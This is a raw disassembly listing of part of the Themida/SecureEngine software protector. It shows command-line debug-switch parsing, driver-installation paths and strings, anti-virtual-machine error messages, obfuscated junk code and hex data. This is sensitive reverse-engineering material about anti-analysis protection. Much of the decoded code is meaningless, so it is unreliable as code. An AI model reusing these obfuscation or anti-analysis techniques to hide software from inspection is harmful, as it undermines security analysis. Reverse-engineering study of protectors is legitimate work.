		jmp	dword ptr ds:0[eax*4]
; ---------------------------------------------------------------------------


loc_5B525B:				; CODE XREF: Themida_:005B5252j
		clc
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h
; ---------------------------------------------------------------------------


loc_5B52BC:				; CODE XREF: Themida_:loc_5B1AE7j
		jmp	loc_5B535A
; ---------------------------------------------------------------------------
		db 2Fh,	62h, 75h
aGcheck2	db 'gcheck2',0
aBugcheck	db '/bugcheck',0
aForcerun	db '/forcerun',0
aBugcheckfull	db '/bugcheckfull',0
aShowcode	db '/showcode',0
aShowcode2	db '/showcode2',0
aClrt		db '/clrt',0
aDis1		db '/dis1',0
aShowinstance	db '/showinstance',0
aGetwlstatus	db '/getwlstatus',0
aLogstatus	db '/logstatus',0
aDumpstatus	db '/dumpstatus',0
		align 4
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B535A:				; CODE XREF: Themida_:loc_5B52BCj
		cmp	dword ptr [ebp+7FD1F00h], 0
		jz	loc_5B5371
		mov	dword ptr [ebp+7FA1899h], 1


loc_5B5371:				; CODE XREF: Themida_:005B5361j
		mov	byte ptr [ebp+7FA0665h], 47h
		call	sub_5B5381
		lea	ebp, [ebp+ebp*2-70h]

; =============== S U B	R O U T	I N E =======================================



sub_5B5381	proc near		; CODE XREF: Themida_:005B5378p

; FUNCTION CHUNK AT 005B56D3 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005B573C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005B5761 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005B5798 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005B687D SIZE 0000008B BYTES

		push	eax
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+7FA08A5h]
		lea	eax, [ebp+7FA3AE2h]
		call	eax
		call	eax
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	loc_5B53CA
		inc	edi
		mov	al, 22h


loc_5B53AB:				; CODE XREF: sub_5B5381+2Bj
		scasb
		jnz	loc_5B53AB
		cmp	byte ptr [edi],	0
		jz	loc_5B56D3
		inc	edi
		cmp	byte ptr [edi],	0
		jz	loc_5B56D3
		jmp	loc_5B53E8
; ---------------------------------------------------------------------------


loc_5B53CA:				; CODE XREF: sub_5B5381+21j
					; sub_5B5381+62j
		cmp	byte ptr [edi],	0
		jz	loc_5B56D3
		cmp	byte ptr [edi],	20h
		jnz	loc_5B53E2
		inc	edi
		jmp	loc_5B53E8
; ---------------------------------------------------------------------------


loc_5B53E2:				; CODE XREF: sub_5B5381+55j
		inc	edi
		jmp	loc_5B53CA
; ---------------------------------------------------------------------------


loc_5B53E8:				; CODE XREF: sub_5B5381+44j
					; sub_5B5381+5Cj ...
		cmp	byte ptr [edi],	0
		jnz	loc_5B53F6
		jmp	loc_5B56D3
; ---------------------------------------------------------------------------


loc_5B53F6:				; CODE XREF: sub_5B5381+6Aj
		jmp	loc_5B53FC
; ---------------------------------------------------------------------------


loc_5B53FB:				; CODE XREF: sub_5B5381+7Ej
		inc	edi


loc_5B53FC:				; CODE XREF: sub_5B5381:loc_5B53F6j
		cmp	byte ptr [edi],	20h
		jz	loc_5B53FB
		cmp	byte ptr [edi],	0
		jnz	loc_5B5413
		jmp	loc_5B56D3
; ---------------------------------------------------------------------------


loc_5B5413:				; CODE XREF: sub_5B5381+87j
		call	sub_5B5422
		jmp	loc_5B53E8
sub_5B5381	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_5B56D3

; =============== S U B	R O U T	I N E =======================================



sub_5B5422	proc near		; CODE XREF: sub_5B5381:loc_5B5413p
		lea	esi, [ebp+7FD1E80h]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B544B
		mov	dword ptr [ebp+7FA2ACDh], 1
		retn
; ---------------------------------------------------------------------------


loc_5B544B:				; CODE XREF: sub_5B5422+18j
		lea	esi, [ebp+7FD1E8Bh]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B5474
		mov	dword ptr [ebp+7FA1899h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B5474:				; CODE XREF: sub_5B5422+41j
		lea	esi, [ebp+7FD1F04h]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B549D
		mov	dword ptr [ebp+7FA18D9h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B549D:				; CODE XREF: sub_5B5422+6Aj
		lea	esi, [ebp+7FD1E95h]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B54C6
		mov	dword ptr [ebp+7FA1899h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B54C6:				; CODE XREF: sub_5B5422+93j
		lea	esi, [ebp+7FD1E9Fh]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B54F9
		mov	dword ptr [ebp+7FA1899h], 1
		mov	dword ptr [ebp+7FA2ACDh], 1
		retn
; ---------------------------------------------------------------------------


loc_5B54F9:				; CODE XREF: sub_5B5422+BCj
		lea	esi, [ebp+7FD1EADh]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B5521
		mov	dword ptr [ebp+7FA1139h], 1


loc_5B5521:				; CODE XREF: sub_5B5422+EFj
		lea	esi, [ebp+7FD1EB7h]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B5549
		mov	dword ptr [ebp+7FA1139h], 1


loc_5B5549:				; CODE XREF: sub_5B5422+117j
		lea	esi, [ebp+7FD1EC2h]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B5571
		mov	dword ptr [ebp+7FA0B5Dh], 1


loc_5B5571:				; CODE XREF: sub_5B5422+13Fj
		lea	esi, [ebp+7FD1EC8h]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B5599
		mov	dword ptr [ebp+7FA29B9h], 1


loc_5B5599:				; CODE XREF: sub_5B5422+167j
		lea	esi, [ebp+7FD1ECEh]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B55C1
		mov	dword ptr [ebp+7FA16C5h], 1


loc_5B55C1:				; CODE XREF: sub_5B5422+18Fj
		lea	esi, [ebp+7FD1EDCh]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B55E9
		mov	dword ptr [ebp+7FA0E61h], 1


loc_5B55E9:				; CODE XREF: sub_5B5422+1B7j
		lea	esi, [ebp+7FD1EE9h]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B5611
		mov	dword ptr [ebp+7FA217Dh], 1


loc_5B5611:				; CODE XREF: sub_5B5422+1DFj
		lea	esi, [ebp+7FD1EF4h]
		call	sub_5B5652
		add	edi, [ebp+7FD1F15h]
		cmp	dword ptr [ebp+7FD1F15h], 0
		jz	loc_5B5639
		mov	dword ptr [ebp+7FA0AD9h], 1


loc_5B5639:				; CODE XREF: sub_5B5422+207j
		jmp	loc_5B563F
; ---------------------------------------------------------------------------


loc_5B563E:				; CODE XREF: sub_5B5422+229j
		inc	edi


loc_5B563F:				; CODE XREF: sub_5B5422:loc_5B5639j
		cmp	byte ptr [edi],	20h
		jz	locret_5B5651
		cmp	byte ptr [edi],	0
		jnz	loc_5B563E

locret_5B5651:				; CODE XREF: sub_5B5422+220j
		retn
sub_5B5422	endp


; =============== S U B	R O U T	I N E =======================================



sub_5B5652	proc near		; CODE XREF: sub_5B5422+6p
					; sub_5B5422+2Fp ...
		pusha
		mov	ecx, 1
		mov	ebx, esi
		jmp	loc_5B5678
; ---------------------------------------------------------------------------


loc_5B565F:				; CODE XREF: sub_5B5652+31j
		cmp	byte ptr [edi],	0
		jnz	loc_5B566A
		sub	ecx, ecx


loc_5B566A:				; CODE XREF: sub_5B5652+10j
		mov	dl, [edi]
		cmp	[esi], dl
		jz	loc_5B5676
		sub	ecx, ecx


loc_5B5676:				; CODE XREF: sub_5B5652+1Cj
		inc	esi
		inc	edi


loc_5B5678:				; CODE XREF: sub_5B5652+8j
		cmp	byte ptr [esi],	0
		jz	loc_5B5689
		or	ecx, ecx
		jnz	loc_5B565F


loc_5B5689:				; CODE XREF: sub_5B5652+29j
		or	ecx, ecx
		jz	loc_5B56B2
		cmp	byte ptr [edi],	0
		jz	loc_5B56A3
		cmp	byte ptr [edi],	20h
		jnz	loc_5B56AD


loc_5B56A3:				; CODE XREF: sub_5B5652+42j
		mov	ecx, 1
		jmp	loc_5B56B2
; ---------------------------------------------------------------------------


loc_5B56AD:				; CODE XREF: sub_5B5652+4Bj
		mov	ecx, 0


loc_5B56B2:				; CODE XREF: sub_5B5652+39j
					; sub_5B5652+56j
		or	ecx, ecx
		jz	loc_5B56C7
		sub	esi, ebx
		mov	[ebp+7FD1F15h],	esi
		jmp	loc_5B56D1
; ---------------------------------------------------------------------------


loc_5B56C7:				; CODE XREF: sub_5B5652+62j
		mov	dword ptr [ebp+7FD1F15h], 0


loc_5B56D1:				; CODE XREF: sub_5B5652+70j
		popa
		retn
sub_5B5652	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5381


loc_5B56D3:				; CODE XREF: sub_5B5381+34j
					; sub_5B5381+3Ej ...
		mov	eax, 0
		or	eax, eax
		jz	loc_5B56EA
		mov	dword ptr [ebp+7FA1139h], 0


loc_5B56EA:				; CODE XREF: sub_5B5381+359j
		mov	ecx, eax
		call	near ptr loc_5B56F9+1
		mov	ds:0A6A2FAE0h, al
		movsb
		rol	dword ptr [edi], 1


loc_5B56F9:				; CODE XREF: sub_5B5381+36Bp
		jnp	short loc_5B5761
		or	edi, 0F5A0CF1h
		mov	[edi], ebx
; END OF FUNCTION CHUNK	FOR sub_5B5381
; ---------------------------------------------------------------------------
		db 0
		dd 8B0F0000h, 19h, 14E9h, 56BB5400h, 578211E2h,	1420895h
		dd 68AE5364h, 9A99D798h, 7CC28156h, 81000059h, 2E3ADBC1h
		dd 0B809h, 9D890000h, 7FA0569h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5381


loc_5B573C:				; CODE XREF: sub_5B5381+434j
		push	dword ptr [eax+edx]
		push	ebx
		pusha
		jb	$+6
		mov	cx, bx
		popa
		pop	ecx
		pop	esi
		call	near ptr byte_5B575F
		sar	byte ptr [ecx+4E6AD53h], cl
		push	ebx
		into
		jz	short near ptr loc_5B5766+5
		ror	byte ptr [ebx],	1
		dec	esi
; END OF FUNCTION CHUNK	FOR sub_5B5381
; ---------------------------------------------------------------------------
byte_5B575F	db 31h			; CODE XREF: sub_5B5381+3CCp
		db 0B5h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5381


loc_5B5761:				; CODE XREF: sub_5B5381:loc_5B56F9j
		cdq
		adc	dl, bh
		pop	es
		pop	ecx


loc_5B5766:				; CODE XREF: sub_5B5381+3D9j
		xor	esi, 58EA788Dh
		add	esi, 5D75C404h
		mov	[ebp+7FA0E35h],	ecx
		xor	esi, 255C35F0h
		stc
		push	esi
		mov	ebx, [ebp+7FA1DE1h]
		pop	dword ptr [edx+eax]
		jmp	loc_5B5798
; END OF FUNCTION CHUNK	FOR sub_5B5381
; ---------------------------------------------------------------------------
		dw 8246h
		dd 0B29190C6h, 0B2DB84E4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5381


loc_5B5798:				; CODE XREF: sub_5B5381+408j
		or	[ebp+7FA2D79h],	esi
		sub	eax, 2
		mov	[ebp+7FA1CC1h],	edx
		dec	eax
		dec	eax
		mov	edi, [ebp+7FA2209h]
		cmp	eax, 0FFFFA750h
		jnz	loc_5B573C
		mov	ebx, [ebp+7FA11A1h]
		jmp	loc_5B687D
; END OF FUNCTION CHUNK	FOR sub_5B5381
; ---------------------------------------------------------------------------
		dw 4441h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
		dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0)
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 53000000h, 69767265h, 50206563h, 206B6361h, 32h, 1Ch	dup(0)
		dd 53000000h, 7774666Fh, 5C657261h, 656E6957h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5381


loc_5B687D:				; CODE XREF: sub_5B5381+440j
		mov	eax, esp
		cmc
		mov	[ebp+7FA2421h],	eax
		and	edi, 342C6F1Ch
		mov	eax, eax
		mov	di, si
		cmp	dword ptr [ebp+7FA2ACDh], 0
		jnz	short loc_5B68A3
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5B68BC


loc_5B68A3:				; CODE XREF: sub_5B5381+1517j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+7FA20C9h],	eax
		lea	ebx, [ebp+7FCE224h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B68BC:				; CODE XREF: sub_5B5381+1520j
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5B68DC
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+7FA20C9h],	eax
		lea	ebx, [ebp+7FCDF13h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B68DC:				; CODE XREF: sub_5B5381+1542j
		mov	[ebp+7FA3139h],	edi
		mov	dl, 0D0h
		mov	[ebp+7FA3121h],	ecx
		mov	eax, eax
		jz	loc_5B68F8
		mov	[ebp+7FA076Dh],	esi


loc_5B68F8:				; CODE XREF: sub_5B5381+156Bj
		movsx	edx, ax
		mov	eax, eax
		push	0
		push	esi
		call	sub_5B6908
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5B5381

; =============== S U B	R O U T	I N E =======================================



sub_5B6908	proc near		; CODE XREF: sub_5B5381+157Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5B6908	endp

; ---------------------------------------------------------------------------
		cmp	dword ptr [edi+48426903h], 0FFFFFF83h
		mov	ebp, 7FA2ACDh
		add	[ebp+9], dh
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5B6943
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+7FCE0C6h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B6943:				; CODE XREF: Themida_:005B692Ej
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5B695D
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+7FCDF77h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B695D:				; CODE XREF: Themida_:005B694Aj
		push	0
		push	esi
		call	sub_5B6968
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6968	proc near		; CODE XREF: Themida_:005B6960p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5B6968	endp

; ---------------------------------------------------------------------------
		dd 1AC02E28h, 43B5ED28h, 14E96767h, 0A8000000h,	17B4CCAh
		dd 0A9A09F63h, 35E70A6Bh, 7B9E0E03h, 8BC4D39Bh,	0F28166C0h
		dd 0C08BA789h, 0BD835952h, 7FA2ACDh, 83097500h,	0FA1899BDh
		dd 13740007h, 0C08B5350h, 0B8h,	0F89D8D00h, 0FF07FCDFh
		dd 83585BD3h, 0FA1899BDh, 11740007h, 0B85350h, 8D000000h
		dd 0FCDF459Dh, 5BD3FF07h, 0CFBF0F58h, 11C9958Bh, 8B6607FAh
		dd 8BC08BFAh, 6AC08BF9h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 5FD6C353h, 0DE8h, 0CA2E7200h
		dd 4F4BC92h, 9DA60DB9h,	6ABA5894h, 5A143774h, 80D2B70Fh
		dd 0BD8312C1h, 7FA2ACDh, 83097500h, 0FA1899BDh,	13740007h
		dd 0C08B5350h, 0B8h, 5F9D8D00h,	0FF07FCE0h, 83585BD3h
		dd 0FA1899BDh, 11740007h, 0B85350h, 8D000000h, 0FCDF5E9Dh
		dd 5BD3FF07h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0C2CC59E8h, 0E90E3BEBh, 8, 7190E631h
		dd 0F436197Dh, 0A699D01h, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 64B367C3h, 0BFA4B4B5h
		dd 0E19503ACh, 8A07FA02h, 6AC08BF5h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 7EA3C350h
		dd 91A30C0Bh, 0D21D2F63h, 0AB33BF66h, 60BFC08Bh, 89580EDAh
		dd 0FA2A2D8Dh, 0CDBD8307h, 7FA2Ah, 0BD830975h, 7FA1899h
		dd 50137400h, 0B8C08B53h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+7FCDF91h]
		call	ebx	; _iob
		pop	ebx
		pop	eax
		push	0
		push	edi
		call	sub_5B6B39
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6B39	proc near		; CODE XREF: Themida_:005B6B31p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5B6B39	endp

; ---------------------------------------------------------------------------
		retn	0FA0h
; ---------------------------------------------------------------------------
		dd 68Eh, 1BD8900h, 0F07FA1Fh, 8Ch, 81C08B00h, 0E07DA9EAh
		dd 8BC08B51h, 0CDBD83CEh, 7FA2Ah, 0BD830975h, 7FA1899h
		dd 50197400h, 0B8C08B53h, 7D0h,	20C98589h, 9D8D07FAh, 7FCE224h
		dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h,	7D0h, 20C98589h
		dd 9D8D07FAh, 7FCDF13h,	585BD3FFh, 9EC78166h, 0FD9529B9h
		dd 0E807FA14h, 0Eh, 0C1FEDB10h,	10CF0EC2h, 3AF11531h, 7E95D93h
		dd 0A6000000h, 3F66E4C4h, 8B59C720h, 0D8D8BC0h,	0C607FA22h
		dd 0FA066585h, 6A5307h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0E4ADB9C3h, 0F02847A9h, 906836D9h
		dd 0F99395Fh, 0B5FFD7BFh, 7FA08A5h, 2281952Bh, 858D07FAh
		dd 7FA3AE2h, 27698D89h,	8D0107FAh, 7FA02D9h, 9589D0FFh
		dd 7FA27B1h, 17998589h,	858907FAh, 7FA0219h, 66585C6h
		dd 0E95707FAh, 12h, 6BDD0CCDh, 560EAB3Eh, 5A68503Fh, 0D25DD467h
		dd 6688A8Ch, 6A900452h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0DA0EC351h,	6E3C8D3Ch
		dd 0B589ECC4h, 7FA1781h, 0FDBAC181h, 8D8B097Fh,	7FA0C81h
		dd 8A5B5FFh, 0BD8B07FAh, 7FA33E9h, 3AE2858Dh, 11E907FAh
		dd 6C000000h, 8773FFA9h, 48F5786Bh, 0B0A53E5Dh,	0CD634F75h
		dd 0D0FF32B5h, 396C36BFh, 7585897Bh, 0C607FA28h, 0FA066585h
		dd 8D0F4307h, 3, 68D8C280h, 0BC907028h,	5E8h, 15CC3A00h
		dd 0BD8B31EEh, 7FA0AF1h, 0A5B5FF59h, 907FA08h, 0FA0ADD95h
		dd 0CE8B6607h, 3AE2858Dh, 852907FAh, 7FA1D25h, 9E9h, 0CFA0D500h
		dd 20640012h, 0D0FF5DB2h, 0FE85DB6h, 0A9000000h, 0C5E17C1Dh
		dd 0EBF3F5A5h, 8204670Ah, 8E0F880Ch, 6,	2169950Bh, 895907FAh
		dd 0FA225985h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 589A6326h, 0BF66B4DEh
		dd 8E994E0h, 45000000h,	0DAD4BEBDh, 0C6B360DAh,	0FA066585h
		dd 74B24C07h, 0DA1CE968h, 918D03D9h, 0FF07FA1Fh, 0FA08A5B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 4ACD1B9Bh, 20A99589h, 858D07FAh,	7FA3AE2h
		dd 0E018D03h, 0D0FF07FAh, 88E0Fh, 0F510000h, 89h, 85895A00h
		dd 7FA2819h, 23218D89h,	85C607FAh, 7FA0665h, 99D3146h
		dd 6807FA0Bh, 0BADE0614h, 29E58D8Bh, 0B5FF07FAh, 7FA08A5h
		dd 68C0Fh, 0BD8B0000h, 7FA30E9h, 3AE2858Dh, 0D0FF07FAh
		dd 7E9h, 0FB828D00h, 0FEFBF5Dh,	28598589h, 85C607FAh, 7FA0665h
		dd 12E947h, 0F9DA0000h,	62B2EFACh, 3AA94146h, 95F2F09Bh
		dd 0CDB5EF45h, 0FB5E268h, 52006A8Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 8631A36Ch
		dd 15B531FDh, 0FF07FA18h, 0FA08A5B5h, 19B58907h, 8D07FA16h
		dd 0FA3AE285h, 14E96007h, 71000000h, 7CA11C22h,	67981805h
		dd 1F71C222h, 70556791h, 66F28C3Ah, 7779D881h, 9E861h
		dd 20260000h, 22AB32E4h, 8B0FC85Eh, 0D0FF59F8h,	700B97BAh
		dd 3585892Bh, 6A07FA28h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 35BBC353h, 0EA9E6FFFh
		dd 66585C6h, 0E84707FAh, 6, 57E95C5h, 8D8958F2h, 7FA07C5h
		dd 0B5F3685Ah, 14E983D0h, 9D000000h, 8AC43CC3h,	696C2C29h
		dd 0C5845E46h, 91715C6Ah, 0FF395FA1h, 0FA08A5B5h, 8D70B207h
		dd 0FA3AE285h, 6EBF6607h, 8BD0FF4Eh, 0FA20E595h, 0C9858907h
		dd 8B07FA18h, 6585C6CEh, 7707FA06h, 16BDB589h, 8B6607FAh
		dd 0A8A368D0h, 8D89F397h, 7FA14C9h, 515B5FFh, 810F07FAh
		dd 5, 0F2C18166h, 0E2858DAEh, 6A07FA3Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8C8FC355h
		dd 0BD89D0FFh, 7FA057Dh, 0ED81C3BFh, 0C585891Fh, 0F07FA0Dh
		dd 684h, 9D952900h, 0F07FA1Eh, 1280h, 0DE900h, 769C0000h
		dd 0A4327FB9h, 51BA61ADh, 0C650EC13h, 0FA066585h, 0D38B4707h
		dd 28FAF668h, 57006A87h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 9E88Eh, 0EA9D0000h, 6F669453h, 0F3DB5DFh
		dd 895AC8B7h, 0FA268995h, 0A5B5FF07h, 0F807FA08h, 3AE2858Dh
		dd 0B58907FAh, 7FA3395h, 0FFD68B66h, 0C5BD89D0h, 8907FA10h
		dd 0FA08C985h, 5E907h, 55310000h, 0C68AAB1Ah, 0FA066585h
		dd 0E8604307h, 13h, 75848EABh, 425FE4EBh, 741473BEh, 5389E48Dh
		dd 0F031A3Dh, 0F58C8B7h, 6861D0BFh, 0BC8E6EFCh,	0CAD8D8Bh
		dd 0B5FF07FAh, 7FA08A5h, 8DD3B70Fh, 0FA3AE285h,	0B1BD8B07h
